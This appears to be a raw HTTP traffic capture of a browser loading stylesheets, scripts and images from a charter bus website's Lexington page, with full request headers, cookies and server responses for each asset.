2025-05-21 19:47:59 UTC	635	OUT	GET /css_new_design/style.css HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: text/css,/;q=0.1 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: style referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=0
2025-05-21 19:47:59 UTC	297	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 19 Mar 2025 10:13:11 GMT etag: "18e2b-630af44cc5380" accept-ranges: bytes content-length: 101931 vary: Accept-Encoding cache-control: max-age=31536000, public content-type: text/css
2025-05-21 19:47:59 UTC	643	OUT	GET /css_new_design/bootstrap.min.css HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: text/css,/;q=0.1 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: style referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=0
2025-05-21 19:47:59 UTC	297	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 12 Jun 2019 08:31:25 GMT etag: "1d970-58b1c3d291140" accept-ranges: bytes content-length: 121200 vary: Accept-Encoding cache-control: max-age=31536000, public content-type: text/css
2025-05-21 19:48:00 UTC	713	OUT	GET /img_new_design/banner_slideshow/gogo-charters-bus.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=2, i
2025-05-21 19:48:00 UTC	275	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 05 Aug 2024 04:49:55 GMT etag: "1122c-61ee8688422c0" accept-ranges: bytes content-length: 70188 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	708	OUT	GET /img_new_design/banner_slideshow/gogo-minibus.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=2, i
2025-05-21 19:48:00 UTC	275	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 11 Sep 2024 06:53:15 GMT etag: "15b64-621d271b80cc0" accept-ranges: bytes content-length: 88932 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	716	OUT	GET /img_new_design/banner_slideshow/charter-bus-restroom.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=2, i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 05 Aug 2024 04:50:02 GMT etag: "c3eb-61ee868eef280" accept-ranges: bytes content-length: 50155 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	713	OUT	GET /img_new_design/banner_slideshow/charter-bus-seats.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=2, i
2025-05-21 19:48:00 UTC	275	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 05 Aug 2024 04:49:59 GMT etag: "113da-61ee868c12bc0" accept-ranges: bytes content-length: 70618 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	630	OUT	GET /js_new_design/jquery-3.5.1.min.js HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: script referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=2
2025-05-21 19:48:00 UTC	310	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 28 Apr 2025 05:11:51 GMT etag: "15d83-633cfb8bf5b01" accept-ranges: bytes content-length: 89475 vary: Accept-Encoding cache-control: max-age=2678400, private content-type: application/javascript
2025-05-21 19:48:00 UTC	623	OUT	GET /js_new_design/slick.min.js HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: script referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=2
2025-05-21 19:48:00 UTC	309	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 28 Apr 2025 05:13:05 GMT etag: "9e0e-633cfbd2ad195" accept-ranges: bytes content-length: 40462 vary: Accept-Encoding cache-control: max-age=2678400, private content-type: application/javascript
2025-05-21 19:48:00 UTC	622	OUT	GET /js_new_design/carousel.js HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: script referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=2
2025-05-21 19:48:00 UTC	309	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 28 Apr 2025 05:11:51 GMT etag: "2dfc-633cfb8bf4b61" accept-ranges: bytes content-length: 11772 vary: Accept-Encoding cache-control: max-age=2678400, private content-type: application/javascript
2025-05-21 19:48:00 UTC	629	OUT	GET /js_new_design/qcslider.jquery.js HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: script referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=2
2025-05-21 19:48:00 UTC	308	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 28 Apr 2025 05:12:51 GMT etag: "1768-633cfbc5e1ba3" accept-ranges: bytes content-length: 5992 vary: Accept-Encoding cache-control: max-age=2678400, private content-type: application/javascript
2025-05-21 19:48:00 UTC	699	OUT	GET /img_new_design/trust_banner/pricing.png HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:00 UTC	271	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 28 Dec 2021 09:31:44 GMT etag: "eb8-5d4317d496000" accept-ranges: bytes content-length: 3768 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:00 UTC	708	OUT	GET /img_new_design/trust_banner/customer-support.png HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:00 UTC	271	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 28 Dec 2021 09:31:46 GMT etag: "c08-5d4317d67e480" accept-ranges: bytes content-length: 3080 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:00 UTC	706	OUT	GET /img_new_design/trust_banner/trip-completed.png HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:00 UTC	271	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 28 Dec 2021 09:31:43 GMT etag: "d1f-5d4317d3a1dc0" accept-ranges: bytes content-length: 3359 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:00 UTC	698	OUT	GET /img_new_design/trust_banner/a-plus.png HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:00 UTC	272	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Thu, 30 Dec 2021 04:20:14 GMT etag: "1674-5d4555ef55b80" accept-ranges: bytes content-length: 5748 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:00 UTC	702	OUT	GET /img_new_design/trust_banner/nationwide.png HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:00 UTC	271	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 28 Dec 2021 09:31:45 GMT etag: "8fc-5d4317d58a240" accept-ranges: bytes content-length: 2300 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:00 UTC	705	OUT	GET /img_new_design/banner_slideshow/gogo-minibuses.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 05 Aug 2024 04:50:05 GMT etag: "d57e-61ee8691cb940" accept-ranges: bytes content-length: 54654 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	680	OUT	GET /img_new_design/person.svg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 20 Aug 2024 07:14:33 GMT etag: "2be-620182d628840" accept-ranges: bytes content-length: 702 cache-control: max-age=31536000, public content-type: image/svg+xml
2025-05-21 19:48:00 UTC	678	OUT	GET /img_new_design/time.svg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 20 Aug 2024 07:15:17 GMT etag: "38d-620183001eb40" accept-ranges: bytes content-length: 909 cache-control: max-age=31536000, public content-type: image/svg+xml
2025-05-21 19:48:00 UTC	682	OUT	GET /img_new_design/tickMark.svg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	273	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 20 Aug 2024 07:20:54 GMT etag: "fa-6201844182180" accept-ranges: bytes content-length: 250 cache-control: max-age=31536000, public content-type: image/svg+xml
2025-05-21 19:48:00 UTC	730	OUT	GET /employee/upload/generalSliderImages/1667934813employee-shuttle-services.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 08 Nov 2022 19:13:32 GMT etag: "5a16-5ecfa56058d78" accept-ranges: bytes content-length: 23062 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	723	OUT	GET /employee/upload/generalSliderImages/1667934857sports-team-huddle.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 08 Nov 2022 19:14:17 GMT etag: "6c86-5ecfa58b1e017" accept-ranges: bytes content-length: 27782 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	727	OUT	GET /employee/upload/generalSliderImages/1667934889wedding-shuttle-couple.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 08 Nov 2022 19:14:49 GMT etag: "76c2-5ecfa5a9870f6" accept-ranges: bytes content-length: 30402 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	716	OUT	GET /employee/upload/generalSliderImages/1667934813event-group.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 08 Nov 2022 19:13:32 GMT etag: "71ba-5ecfa56069718" accept-ranges: bytes content-length: 29114 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	721	OUT	GET /employee/upload/generalSliderImages/1667934813college-students.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 08 Nov 2022 19:13:32 GMT etag: "721b-5ecfa56073358" accept-ranges: bytes content-length: 29211 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	720	OUT	GET /employee/upload/generalSliderImages/1667934928religious-hands.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 08 Nov 2022 19:15:28 GMT etag: "6d79-5ecfa5cefebc8" accept-ranges: bytes content-length: 28025 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:00 UTC	710	OUT	GET /employee/upload_editor_files/files/travel-agent-hub.jpg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:00 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 03 Apr 2024 14:34:50 GMT etag: "3fb8-61532200fa3ce" accept-ranges: bytes content-length: 16312 cache-control: max-age=31536000, public content-type: image/jpeg
